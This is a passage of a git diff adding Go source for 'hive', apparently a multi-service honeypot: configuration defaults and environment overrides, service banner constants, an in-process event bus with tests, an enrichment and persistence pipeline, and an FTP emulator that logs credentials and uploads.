+} + +type SMBConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` +} + +type MySQLConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` + ServerVersion string `yaml:"server_version"` +} + +type RedisConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` + ServerVersion string `yaml:"server_version"` +} + +type DatabaseConfig struct { + DSN string `yaml:"dsn"` + PoolMin int `yaml:"pool_min"` + PoolMax int `yaml:"pool_max"` + ConnTimeout time.Duration `yaml:"conn_timeout"` + IdleTimeout time.Duration `yaml:"idle_timeout"` + MigrationsPath string `yaml:"migrations_path"` +} + +type StreamConfig struct { + URL string `yaml:"url"` + StreamKey string `yaml:"stream_key"` + MaxLen int64 `yaml:"max_len"` + Password string `yaml:"password"` +} + +type APIConfig struct { + Port int `yaml:"port"` + CORSOrigins []string `yaml:"cors_origins"` + ReadTimeout time.Duration `yaml:"read_timeout"` + WriteTimeout time.Duration `yaml:"write_timeout"` +} + +type GeoIPConfig struct { + DBPath string `yaml:"db_path"` +} + +type LogConfig struct { + Level string `yaml:"level"` + JSONFormat bool `yaml:"json_format"` + ReplayDir string `yaml:"replay_dir"` +} + +func Default() *Config { + hostname, _ := os.Hostname() + if hostname == "" { + hostname = DefaultHostname + } + + return &Config{ + Sensor: SensorConfig{ + ID: "hive-01", + Hostname: hostname, + Region: "local", + }, + SSH: SSHConfig{ + Enabled: true, + Port: DefaultSSHPort, + Banner: SSHBanner, + HostKeyPath: DefaultHostKeyPath, + Hostname: DefaultHostname, + Timeout: DefaultSessionTimeout, + }, + HTTP: HTTPConfig{ + Enabled: true, + Port: DefaultHTTPPort, + ServerHeader: HTTPServer, + }, + FTP: FTPConfig{ + Enabled: true, + Port: DefaultFTPPort, + Banner: FTPBanner, + }, + SMB: SMBConfig{ + Enabled: true, + Port: DefaultSMBPort, + }, + MySQL: MySQLConfig{ + Enabled: true, + Port: DefaultMySQLPort, + ServerVersion: MySQLBanner, + }, + Redis: RedisConfig{ + Enabled: true, + Port: DefaultRedisPort, + ServerVersion: RedisBanner, + }, + Database: DatabaseConfig{ + DSN: "postgres://hive:hive@localhost:5432/hive?sslmode=disable", + PoolMin: DefaultDBPoolMin, + PoolMax: DefaultDBPoolMax, + ConnTimeout: DefaultDBTimeout, + IdleTimeout: DefaultDBIdleTimeout, + MigrationsPath: "migrations", + }, + Stream: StreamConfig{ + URL: "redis://localhost:16379", + StreamKey: DefaultRedisStreamKey, + MaxLen: DefaultRedisMaxLen, + }, + API: APIConfig{ + Port: DefaultAPIPort, + CORSOrigins: []string{ + "http://localhost:5173", + "http://localhost:3000", + }, + ReadTimeout: DefaultReadTimeout, + WriteTimeout: DefaultWriteTimeout, + }, + GeoIP: GeoIPConfig{ + DBPath: DefaultGeoIPPath, + }, + Log: LogConfig{ + Level: "info", + JSONFormat: true, + ReplayDir: DefaultReplayDir, + }, + } +} + +func Load(path string) (*Config, error) { + cfg := Default() + + data, err := os.ReadFile(path) + if err != nil && !os.IsNotExist(err) { + return nil, fmt.Errorf("reading config %s: %w", path, err) + } + + if err == nil { + if parseErr := yaml.Unmarshal(data, cfg); parseErr != nil { + return nil, fmt.Errorf( + "parsing config %s: %w", path, parseErr, + ) + } + } + + applyEnvOverrides(cfg) + + return cfg, nil +} + +func applyEnvOverrides(cfg *Config) { + if v := os.Getenv("HIVE_SENSOR_ID"); v != "" { + cfg.Sensor.ID = v + } + if v := os.Getenv("HIVE_SENSOR_REGION"); v != "" { + cfg.Sensor.Region = v + } + if v := os.Getenv("HIVE_DATABASE_URL"); v != "" { + cfg.Database.DSN = v + } + if v := os.Getenv("HIVE_REDIS_URL"); v != "" { + cfg.Stream.URL = v + } + if v := os.Getenv("HIVE_REDIS_PASSWORD"); v != "" { + cfg.Stream.Password = v + } + if v := os.Getenv("HIVE_GEOIP_DB_PATH"); v != "" { + cfg.GeoIP.DBPath = v + } + if v := os.Getenv("HIVE_LOG_LEVEL"); v != "" { + cfg.Log.Level = v + } + if v := os.Getenv("HIVE_REPLAY_DIR"); v != "" { + cfg.Log.ReplayDir = v + } + if v := os.Getenv("HIVE_CORS_ORIGINS"); v != "" { + cfg.API.CORSOrigins = strings.Split(v, ",") + } + + applyPortOverride("HIVE_SSH_PORT", &cfg.SSH.Port) + applyPortOverride("HIVE_HTTP_PORT", &cfg.HTTP.Port) + applyPortOverride("HIVE_FTP_PORT", &cfg.FTP.Port) + applyPortOverride("HIVE_SMB_PORT", &cfg.SMB.Port) + applyPortOverride("HIVE_MYSQL_PORT", &cfg.MySQL.Port) + applyPortOverride("HIVE_REDIS_PORT", &cfg.Redis.Port) + applyPortOverride("HIVE_API_PORT", &cfg.API.Port) + + applyBoolOverride("HIVE_SSH_ENABLED", &cfg.SSH.Enabled) + applyBoolOverride("HIVE_HTTP_ENABLED", &cfg.HTTP.Enabled) + applyBoolOverride("HIVE_FTP_ENABLED", &cfg.FTP.Enabled) + applyBoolOverride("HIVE_SMB_ENABLED", &cfg.SMB.Enabled) + applyBoolOverride("HIVE_MYSQL_ENABLED", &cfg.MySQL.Enabled) + applyBoolOverride("HIVE_REDIS_ENABLED", &cfg.Redis.Enabled) +} + +func applyPortOverride(envKey string, target *int) { + if v := os.Getenv(envKey); v != "" { + if port, err := strconv.Atoi(v); err == nil { + *target = port + } + } +} + +func applyBoolOverride(envKey string, target *bool) { + if v := os.Getenv(envKey); v != "" { + *target = v == "true" || v == "1" + } +} + +func (c *Config) Addr(port int) string { + return fmt.Sprintf(":%d", port) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/config/constants.go b/PROJECTS/advanced/honeypot-network/internal/config/constants.go new file mode 100644 index 00000000..88ed50d2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/config/constants.go @@ -0,0 +1,109 @@ +/* +©AngelaMos | 2026 +constants.go + +Tool metadata and default values for all honeypot services + +Centralizes every magic string, port number, banner, and timeout +so that no literal values appear anywhere else in the codebase. +Service banners are chosen to match real-world versions that avoid +common honeypot fingerprinting signatures. +*/ + +package config + +import "time" + +const ( + ToolName = "hive" + ToolVersion = "0.1.0" + ToolVendor = "CarterPerez-dev" +) + +const ( + DefaultSSHPort = 2222 + DefaultHTTPPort = 8080 + DefaultFTPPort = 2121 + DefaultSMBPort = 4450 + DefaultMySQLPort = 3307 + DefaultRedisPort = 6380 + DefaultAPIPort = 8000 +) + +const ( + SSHBanner = "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5" + HTTPServer = "Apache/2.4.57 (Ubuntu)" + FTPBanner = "220 ProFTPD 1.3.8b Server ready." + MySQLBanner = "5.7.42-0ubuntu0.18.04.1" + RedisBanner = "7.0.11" + SMBDialect = "SMB 2.1" +) + +const ( + DefaultHostname = "ubuntu-server" + DefaultDomain = "internal.local" + DefaultMOTD = "Welcome to Ubuntu 22.04.4 LTS" +) + +const SSHMOTDTemplate = "Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-105-generic x86_64)\r\n\r\n" + + " * Documentation: https://help.ubuntu.com\r\n" + + " * Management: https://landscape.canonical.com\r\n" + + " * Support: https://ubuntu.com/pro\r\n\r\n" + + " System information as of %s\r\n\r\n" + + " System load: 0.08 Processes: 142\r\n" + + " Usage of /: 21.3%% of 39.25GB Users logged in: 1\r\n" + + " Memory usage: 28%% IPv4 address for eth0: 10.0.2.15\r\n" + + " Swap usage: 0%%\r\n\r\n" + + "Last login: %s from 10.0.2.2\r\n" + +const SchemaVersion = 1 + +const ( + DefaultDBPoolMin = 2 + DefaultDBPoolMax = 10 + DefaultDBTimeout = 30 * time.Second + DefaultDBIdleTimeout = 5 * time.Minute +) + +const ( + DefaultRedisStreamKey = "honeypot:events" + DefaultRedisMaxLen = 100000 + DefaultRedisTTL = 24 * time.Hour +) + +const ( + DefaultRateLimitBurst = 10 + DefaultRateLimitInterval = time.Second + DefaultRateLimitCleanup = 10 * time.Minute +) + +const ( + DefaultMaxUploadSize = 1 << 20 + DefaultSessionTimeout = 30 * time.Minute + DefaultShutdownTimeout = 10 * time.Second + DefaultReadTimeout = 30 * time.Second + DefaultWriteTimeout = 30 * time.Second +) + +const ( + DefaultEventBusBuffer = 10000 + DefaultProcessorWorkers = 4 +) + +const ( + DefaultReplayDir = "/data/replays" + DefaultGeoIPPath = "/usr/share/GeoIP/GeoLite2-City.mmdb" + DefaultHostKeyPath = "data/hostkey_ed25519" + DefaultConfigPath = "config.yaml" +) + +const ( + TopicAll = "all" + TopicAuth = "auth" + TopicCommand = "command" + TopicConnect = "connect" + TopicDisconnect = "disconnect" + TopicScan = "scan" + TopicExploit = "exploit" + TopicFile = "file" +) diff --git a/PROJECTS/advanced/honeypot-network/internal/event/bus.go b/PROJECTS/advanced/honeypot-network/internal/event/bus.go new file mode 100644 index 00000000..6a5b47e6 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/event/bus.go @@ -0,0 +1,109 @@ +/* +©AngelaMos | 2026 +bus.go + +In-process event bus with fan-out pub/sub for honeypot events + +All honeypot services publish events to named topics. Subscribers +receive events on buffered channels. Publish is non-blocking: if a +subscriber channel is full the event is dropped to prevent a slow +consumer from back-pressuring producers. Supports wildcard +subscription via the "all" topic which receives every published event. +*/ + +package event + +import ( + "sync" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type subscriber struct { + ch chan *types.Event + topics map[string]bool +} + +type Bus struct { + mu sync.RWMutex + subscribers []*subscriber + closed bool +} + +func NewBus() *Bus { + return &Bus{} +} + +func (b *Bus) Subscribe( + bufSize int, topics ...string, +) <-chan *types.Event { + b.mu.Lock() + defer b.mu.Unlock() + + topicSet := make(map[string]bool, len(topics)) + for _, t := range topics { + topicSet[t] = true + } + + sub := &subscriber{ + ch: make(chan *types.Event, bufSize), + topics: topicSet, + } + + b.subscribers = append(b.subscribers, sub) + return sub.ch +} + +func (b *Bus) Publish(topic string, ev *types.Event) { + b.mu.RLock() + defer b.mu.RUnlock() + + if b.closed { + return + } + + for _, sub := range b.subscribers { + if !sub.topics[topic] && !sub.topics[config.TopicAll] { + continue + } + + select { + case sub.ch <- ev: + default: + } + } +} + +func (b *Bus) Unsubscribe(ch <-chan *types.Event) { + b.mu.Lock() + defer b.mu.Unlock() + + for i, sub := range b.subscribers { + if sub.ch == ch { + close(sub.ch) + b.subscribers = append( + b.subscribers[:i], + b.subscribers[i+1:]..., + ) + return + } + } +} + +func (b *Bus) Shutdown() { + b.mu.Lock() + defer b.mu.Unlock() + + b.closed = true + for _, sub := range b.subscribers { + close(sub.ch) + } + b.subscribers = nil +} + +func (b *Bus) SubscriberCount() int { + b.mu.RLock() + defer b.mu.RUnlock() + return len(b.subscribers) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/event/bus_test.go b/PROJECTS/advanced/honeypot-network/internal/event/bus_test.go new file mode 100644 index 00000000..79090f93 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/event/bus_test.go @@ -0,0 +1,186 @@ +/* +©AngelaMos | 2026 +bus_test.go + +Tests for the event bus fan-out pub/sub system +*/ + +package event + +import ( + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func testEvent(_ string) *types.Event { + return &types.Event{ + ID: "test-001", + SessionID: "sess-001", + SensorID: "hive-01", + Timestamp: time.Now(), + ServiceType: types.ServiceSSH, + EventType: types.EventConnect, + SourceIP: "192.168.1.100", + SourcePort: 54321, + DestPort: 2222, + Protocol: types.ProtocolTCP, + } +} + +func TestPublishSubscribe(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + ch := bus.Subscribe(10, config.TopicAuth) + + ev := testEvent(config.TopicAuth) + bus.Publish(config.TopicAuth, ev) + + select { + case got := <-ch: + assert.Equal(t, ev.ID, got.ID) + case <-time.After(time.Second): + t.Fatal("timed out waiting for event") + } +} + +func TestFanOut(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + ch1 := bus.Subscribe(10, config.TopicAuth) + ch2 := bus.Subscribe(10, config.TopicAuth) + + ev := testEvent(config.TopicAuth) + bus.Publish(config.TopicAuth, ev) + + for _, ch := range []<-chan *types.Event{ch1, ch2} { + select { + case got := <-ch: + assert.Equal(t, ev.ID, got.ID) + case <-time.After(time.Second): + t.Fatal("timed out waiting for event") + } + } +} + +func TestWildcardSubscription(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + allCh := bus.Subscribe(10, config.TopicAll) + authCh := bus.Subscribe(10, config.TopicAuth) + + ev := testEvent(config.TopicCommand) + bus.Publish(config.TopicCommand, ev) + + select { + case got := <-allCh: + assert.Equal(t, ev.ID, got.ID) + case <-time.After(time.Second): + t.Fatal("wildcard subscriber did not receive event") + } + + select { + case <-authCh: + t.Fatal("auth subscriber should not receive command events") + case <-time.After(50 * time.Millisecond): + } +} + +func TestSlowSubscriberDrop(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + ch := bus.Subscribe(1, config.TopicAuth) + + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + + got := <-ch + require.NotNil(t, got) + + select { + case <-ch: + t.Fatal("expected channel to be empty after buffer") + case <-time.After(50 * time.Millisecond): + } +} + +func TestTopicIsolation(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + authCh := bus.Subscribe(10, config.TopicAuth) + cmdCh := bus.Subscribe(10, config.TopicCommand) + + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + + select { + case <-authCh: + case <-time.After(time.Second): + t.Fatal("auth subscriber did not receive event") + } + + select { + case <-cmdCh: + t.Fatal("command subscriber should not receive auth events") + case <-time.After(50 * time.Millisecond): + } +} + +func TestShutdown(t *testing.T) { + bus := NewBus() + + ch := bus.Subscribe(10, config.TopicAll) + bus.Shutdown() + + _, open := <-ch + assert.False(t, open) + + assert.Equal(t, 0, bus.SubscriberCount()) +} + +func TestPublishAfterShutdown(t *testing.T) { + bus := NewBus() + bus.Shutdown() + + assert.NotPanics(t, func() { + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + }) +} + +func TestMultipleTopicSubscription(t *testing.T) { + bus := NewBus() + defer bus.Shutdown() + + ch := bus.Subscribe(10, config.TopicAuth, config.TopicCommand) + + bus.Publish(config.TopicAuth, testEvent(config.TopicAuth)) + bus.Publish(config.TopicCommand, testEvent(config.TopicCommand)) + bus.Publish(config.TopicConnect, testEvent(config.TopicConnect)) + + count := 0 + for range 2 { + select { + case <-ch: + count++ + case <-time.After(time.Second): + t.Fatal("timed out") + } + } + assert.Equal(t, 2, count) + + select { + case <-ch: + t.Fatal("should not receive connect events") + case <-time.After(50 * time.Millisecond): + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/event/processor.go b/PROJECTS/advanced/honeypot-network/internal/event/processor.go new file mode 100644 index 00000000..05d08817 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/event/processor.go @@ -0,0 +1,291 @@ +/* +©AngelaMos | 2026 +processor.go + +Event processing pipeline with bounded worker pool + +Consumes events from the event bus and runs them through an enrichment +pipeline: GeoIP resolution, MITRE ATT&CK technique detection, IOC +extraction, and persistence to PostgreSQL and Redis streams. Workers +are managed via an errgroup and respect context cancellation for +graceful shutdown. +*/ + +package event + +import ( + "context" + "encoding/json" + "net" + "time" + + "github.com/rs/zerolog" + "golang.org/x/sync/errgroup" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type GeoResolver interface { + Resolve(ip string) (*types.GeoInfo, error) +} + +type TechniqueDetector interface { + Detect(ev *types.Event) []*types.MITREDetection +} + +type DataStore interface { + InsertEvent(ctx context.Context, ev *types.Event) error + InsertCredential(ctx context.Context, c *types.Credential) error + InsertDetection(ctx context.Context, d *types.MITREDetection) error + UpsertAttacker(ctx context.Context, a *types.Attacker) error + UpsertIOC(ctx context.Context, ioc *types.IOC) error +} + +type EventStreamer interface { + PublishEvent(ctx context.Context, ev *types.Event) error +} + +type Processor struct { + workers int + bus *Bus + store DataStore + streamer EventStreamer + geo GeoResolver + detector TechniqueDetector + logger zerolog.Logger + eventCh <-chan *types.Event +} + +func NewProcessor( + workers int, + bus *Bus, + store DataStore, + streamer EventStreamer, + geo GeoResolver, + detector TechniqueDetector, + logger zerolog.Logger, +) *Processor { + ch := bus.Subscribe( + config.DefaultEventBusBuffer, + config.TopicAll, + ) + + return &Processor{ + workers: workers, + bus: bus, + store: store, + streamer: streamer, + geo: geo, + detector: detector, + logger: logger, + eventCh: ch, + } +} + +func (p *Processor) Start(ctx context.Context) error { + g, ctx := errgroup.WithContext(ctx) + + for range p.workers { + g.Go(func() error { + return p.work(ctx) + }) + } + + return g.Wait() +} + +func (p *Processor) work(ctx context.Context) error { + for { + select { + case <-ctx.Done(): + return ctx.Err() + + case ev, ok := <-p.eventCh: + if !ok { + return nil + } + p.process(ctx, ev) + } + } +} + +func (p *Processor) process( + ctx context.Context, ev *types.Event, +) { + ev.ReceivedAt = time.Now().UTC() + + p.enrichGeo(ev) + detections := p.detectTechniques(ev) + p.persist(ctx, ev, detections) + p.stream(ctx, ev) +} + +func (p *Processor) enrichGeo(ev *types.Event) { + if p.geo == nil { + return + } + + geo, err := p.geo.Resolve(ev.SourceIP) + if err != nil { + p.logger.Debug(). + Err(err). + Str("ip", ev.SourceIP). + Msg("geoip lookup failed") + return + } + + ev.Geo = geo +} + +func (p *Processor) detectTechniques( + ev *types.Event, +) []*types.MITREDetection { + if p.detector == nil { + return nil + } + + detections := p.detector.Detect(ev) + for _, d := range detections { + ev.Tags = append(ev.Tags, d.TechniqueID) + } + return detections +} + +func (p *Processor) persist( + ctx context.Context, + ev *types.Event, + detections []*types.MITREDetection, +) { + if p.store == nil { + return + } + + if err := p.store.InsertEvent(ctx, ev); err != nil { + p.logger.Error(). + Err(err). + Str("event_id", ev.ID). + Msg("failed to persist event") + } + + for _, d := range detections { + if err := p.store.InsertDetection(ctx, d); err != nil { + p.logger.Error(). + Err(err). + Str("technique", d.TechniqueID). + Msg("failed to persist detection") + } + } + + if ev.EventType == types.EventLoginSuccess || + ev.EventType == types.EventLoginFailed { + if cred := extractCredential(ev); cred != nil { + if err := p.store.InsertCredential(ctx, cred); err != nil { + p.logger.Error(). + Err(err). + Str("session_id", ev.SessionID). + Msg("failed to persist credential") + } + } + } + + attacker := buildAttacker(ev) + if err := p.store.UpsertAttacker(ctx, attacker); err != nil { + p.logger.Error(). + Err(err). + Str("ip", ev.SourceIP). + Msg("failed to upsert attacker") + } + + if ioc := ipIOC(ev); ioc != nil { + if err := p.store.UpsertIOC(ctx, ioc); err != nil { + p.logger.Error(). + Err(err). + Str("ip", ev.SourceIP). + Msg("failed to upsert ip ioc") + } + } +} + +func (p *Processor) stream( + ctx context.Context, ev *types.Event, +) { + if p.streamer == nil { + return + } + + if err := p.streamer.PublishEvent(ctx, ev); err != nil { + p.logger.Error(). + Err(err). + Str("event_id", ev.ID). + Msg("failed to stream event") + } +} + +func extractCredential(ev *types.Event) *types.Credential { + if len(ev.ServiceData) == 0 { + return nil + } + var fields map[string]string + if json.Unmarshal(ev.ServiceData, &fields) != nil { + return nil + } + return &types.Credential{ + SessionID: ev.SessionID, + Timestamp: ev.Timestamp, + ServiceType: ev.ServiceType, + SourceIP: ev.SourceIP, + Username: fields["username"], + Password: fields["password"], + PublicKey: fields["public_key"], + AuthMethod: fields["auth_method"], + Success: ev.EventType == types.EventLoginSuccess, + } +} + +func buildAttacker(ev *types.Event) *types.Attacker { + a := &types.Attacker{ + IP: ev.SourceIP, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + TotalEvents: 1, + } + if ev.EventType == types.EventConnect { + a.TotalSessions = 1 + } + if ev.Geo != nil { + a.Geo = *ev.Geo + } + return a +} + +func ipIOC(ev *types.Event) *types.IOC { + ip := ev.SourceIP + if ip == "" { + return nil + } + + parsed := net.ParseIP(ip) + if parsed == nil { + return nil + } + + if parsed.IsLoopback() || parsed.IsPrivate() { + return nil + } + + iocType := types.IOCIPv4 + if parsed.To4() == nil { + iocType = types.IOCIPv6 + } + + return &types.IOC{ + Type: iocType, + Value: ip, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + SightCount: 1, + Confidence: 50, + Source: ev.ServiceType.String() + "-honeypot", + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ftpd/handler.go b/PROJECTS/advanced/honeypot-network/internal/ftpd/handler.go new file mode 100644 index 00000000..0b9bb6ee --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ftpd/handler.go @@ -0,0 +1,394 @@ +/* +©AngelaMos | 2026 +handler.go + +FTP command handler and data channel management for the honeypot + +Implements the FTP control protocol with USER/PASS authentication, +PASV data channels for directory listings, and STOR upload capture +limited to 1MB per file. Presents a realistic ProFTPD environment +with fake directory listings that mirror an Ubuntu server layout. +*/ + +package ftpd + +import ( + "bufio" + "fmt" + "io" + "net" + "strings" + "time" +) + +const ( + stateInit = iota + stateUser + stateAuth +) + +type ftpConn struct { + ctrl net.Conn + reader *bufio.Reader + state int + username string + cwd string + binary bool + dataListen net.Listener +} + +func newFTPConn(conn net.Conn) *ftpConn { + return &ftpConn{ + ctrl: conn, + reader: bufio.NewReader(conn), + cwd: "/", + } +} + +func (f *ftpConn) reply(code int, msg string) { + fmt.Fprintf(f.ctrl, "%d %s\r\n", code, msg) +} + +func (f *ftpConn) readLine() (string, string, error) { + line, err := f.reader.ReadString('\n') + if err != nil { + return "", "", err + } + + line = strings.TrimRight(line, "\r\n") + parts := strings.SplitN(line, " ", 2) + cmd := strings.ToUpper(parts[0]) + + arg := "" + if len(parts) > 1 { + arg = parts[1] + } + + return cmd, arg, nil +} + +func (f *ftpConn) close() { + if f.dataListen != nil { + _ = f.dataListen.Close() + } +} + +type cmdResult struct { + cmd string + arg string + quit bool + password string + upload []byte + filename string +} + +func (f *ftpConn) dispatch( + cmd, arg string, +) cmdResult { + res := cmdResult{cmd: cmd, arg: arg} + + switch cmd { + case "USER": + f.username = arg + f.state = stateUser + f.reply( + 331, "Password required for "+arg, + ) + + case "PASS": + f.state = stateAuth + f.reply( + 230, "User "+f.username+" logged in", + ) + res.password = arg + + case "SYST": + f.reply(215, "UNIX Type: L8") + + case "FEAT": + fmt.Fprintf( + f.ctrl, + "211-Features:\r\n"+ + " PASV\r\n"+ + " UTF8\r\n"+ + " SIZE\r\n"+ + "211 End\r\n", + ) + + case "PWD", "XPWD": + f.reply( + 257, + fmt.Sprintf(`"%s"`, f.cwd), + ) + + case "CWD", "XCWD": + target := resolveFTPPath(arg, f.cwd) + f.cwd = target + f.reply(250, "CWD command successful") + + case "CDUP": + f.cwd = parentFTPPath(f.cwd) + f.reply(250, "CWD command successful") + + case "TYPE": + f.binary = strings.ToUpper(arg) == "I" + f.reply(200, "Type set") + + case "PASV": + f.openPASV() + + case "LIST", "NLST": + f.sendListing() + + case "RETR": + if f.dataListen != nil { + _ = f.dataListen.Close() + f.dataListen = nil + } + f.reply( + 550, + arg+": No such file or directory", + ) + + case "STOR": + data := f.recvUpload() + if data != nil { + res.upload = data + res.filename = arg + } + + case "SIZE": + f.reply(550, arg+": No such file") + + case "MDTM": + f.reply(550, arg+": No such file") + + case "MKD", "XMKD": + f.reply( + 257, + fmt.Sprintf(`"%s" created`, arg), + ) + + case "RMD", "XRMD", "DELE": + f.reply(250, "OK") + + case "RNFR": + f.reply(350, "Awaiting new name") + + case "RNTO": + f.reply(250, "Rename successful") + + case "NOOP": + f.reply(200, "OK") + + case "HELP": + f.reply(214, "No help available") + + case "QUIT": + f.reply(221, "Goodbye") + res.quit = true + + default: + f.reply(502, "Command not implemented") + } + + return res +} + +func (f *ftpConn) openPASV() { + if f.dataListen != nil { + _ = f.dataListen.Close() + } + + l, err := net.Listen("tcp", ":0") + if err != nil { + f.reply(425, "Cannot open data connection") + return + } + f.dataListen = l + + tcpAddr, ok := l.Addr().(*net.TCPAddr) + if !ok { + f.reply(425, "Cannot open data connection") + return + } + port := tcpAddr.Port + p1 := port / 256 + p2 := port % 256 + + localAddr, ok := f.ctrl.LocalAddr().(*net.TCPAddr) + if !ok { + f.reply(425, "Cannot open data connection") + return + } + ip := localAddr.IP.To4() + if ip == nil { + ip = net.ParseIP("127.0.0.1").To4() + } + + f.reply(227, fmt.Sprintf( + "Entering Passive Mode (%d,%d,%d,%d,%d,%d)", + ip[0], ip[1], ip[2], ip[3], p1, p2, + )) +} + +func (f *ftpConn) acceptData() net.Conn { + if f.dataListen == nil { + return nil + } + defer func() { + _ = f.dataListen.Close() + f.dataListen = nil + }() + + tcpL, ok := f.dataListen.(*net.TCPListener) + if !ok { + return nil + } + _ = tcpL.SetDeadline( + time.Now().Add(10 * time.Second), + ) + + dc, err := f.dataListen.Accept() + if err != nil { + return nil + } + return dc +} + +func (f *ftpConn) sendListing() { + if f.dataListen == nil { + f.reply(425, "Use PASV first") + return + } + + f.reply(150, "Opening data connection") + + dc := f.acceptData() + if dc == nil { + f.reply( + 425, "Cannot open data connection", + ) + return + } + + _, _ = fmt.Fprint(dc, fakeDirListing(f.cwd)) + _ = dc.Close() + + f.reply(226, "Transfer complete") +} + +func (f *ftpConn) recvUpload() []byte { + if f.dataListen == nil { + f.reply(425, "Use PASV first") + return nil + } + + f.reply(150, "Opening data connection") + + dc := f.acceptData() + if dc == nil { + f.reply( + 425, "Cannot open data connection", + ) + return nil + } + + data, _ := io.ReadAll( + io.LimitReader(dc, 1<<20), + ) + _ = dc.Close() + + f.reply(226, "Transfer complete") + return data +} + +func fakeDirListing(cwd string) string { + now := time.Now() + month := now.AddDate(0, -1, 0).Format("Jan 02 15:04") + old := now.AddDate(0, -6, 0).Format("Jan 02 15:04") + + lines := []string{ + fmt.Sprintf( + "drwxr-xr-x 2 root root 4096 %s .", + month, + ), + fmt.Sprintf( + "drwxr-xr-x 3 root root 4096 %s ..", + month, + ), + } + + if cwd == "/" { + lines = append(lines, + fmt.Sprintf( + "drwxr-xr-x 2 root root 4096 %s bin", + month, + ), + fmt.Sprintf( + "drwxr-xr-x 5 root root 4096 %s etc", + month, + ), + fmt.Sprintf( + "drwxr-xr-x 3 root root 4096 %s home", + month, + ), + fmt.Sprintf( + "drwxr-xr-x 2 root root 4096 %s tmp", + month, + ), + fmt.Sprintf( + "drwxr-xr-x 8 root root 4096 %s var", + month, + ), + fmt.Sprintf( + "-rw-r--r-- 1 root root 220 %s .bashrc", + old, + ), + ) + } + + return strings.Join(lines, "\r\n") + "\r\n" +} + +func resolveFTPPath(path, cwd string) string { + if strings.HasPrefix(path, "/") { + return cleanFTPPath(path) + } + if cwd == "/" { + return cleanFTPPath("/" + path) + } + return cleanFTPPath(cwd + "/" + path) +} + +func parentFTPPath(path string) string { + if path == "/" { + return "/" + } + parts := strings.Split(path, "/") + if len(parts) <= 2 { + return "/" + } + return strings.Join(parts[:len(parts)-1], "/") +} + +func cleanFTPPath(path string) string { + parts := strings.Split(path, "/") + var clean []string + for _, p := range parts { + if p == "" || p == "." { + continue + } + if p == ".." { + if len(clean) > 0 { + clean = clean[:len(clean)-1] + } + continue + } + clean = append(clean, p) + } + if len(clean) == 0 { + return "/" + } + return "/" + strings.Join(clean, "/") +} diff --git a/PROJECTS/advanced/honeypot-network/internal/ftpd/server.go b/PROJECTS/advanced/honeypot-network/internal/ftpd/server.go new file mode 100644 index 00000000..6d7ae75b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/ftpd/server.go @@ -0,0 +1,277 @@ +/* +©AngelaMos | 2026 +server.go + +FTP honeypot service accepting file transfer client connections + +Emulates a ProFTPD 1.3.8b server with accept-all authentication. +Logs every credential attempt, command, and uploaded file to the +event bus. PASV mode data channels are opened on demand for +directory listings and upload capture. +*/ + +package ftpd + +import ( + "context" + "encoding/json" + "fmt" + "net" + "time" + + "github.com/google/uuid" + "github.com/rs/zerolog" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type FTPService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) *FTPService { + return &FTPService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "ftp").Logger(), + tracker: tracker, + limiter: limiter, + } +} + +func (s *FTPService) Name() string { return "ftp" } + +func (s *FTPService) Start( + ctx context.Context, +) error { + addr := s.cfg.Addr(s.cfg.FTP.Port) + + listener, err := net.Listen("tcp", addr) + if err != nil { + return fmt.Errorf( + "ftp listen %s: %w", addr, err, + ) + } + + s.logger.Info(). + Str("addr", addr). + Msg("ftp honeypot listening") + + go func() { + <-ctx.Done() + _ = listener.Close() + }() + + for ctx.Err() == nil { + conn, err := listener.Accept() + if err != nil { + s.logger.Debug(). + Err(err).Msg("accept failed") + continue + } + + go s.handleConnection(ctx, conn) + } + + return nil +} + +func (s *FTPService) handleConnection( + ctx context.Context, conn net.Conn, +) { + defer func() { _ = conn.Close() }() + + srcIP, srcPort := types.RemoteAddr(conn) + if !s.limiter.Allow(srcIP) { + return + } + + sess := s.tracker.Start( + s.cfg.Sensor.ID, types.ServiceFTP, + srcIP, srcPort, s.cfg.FTP.Port, + ) + 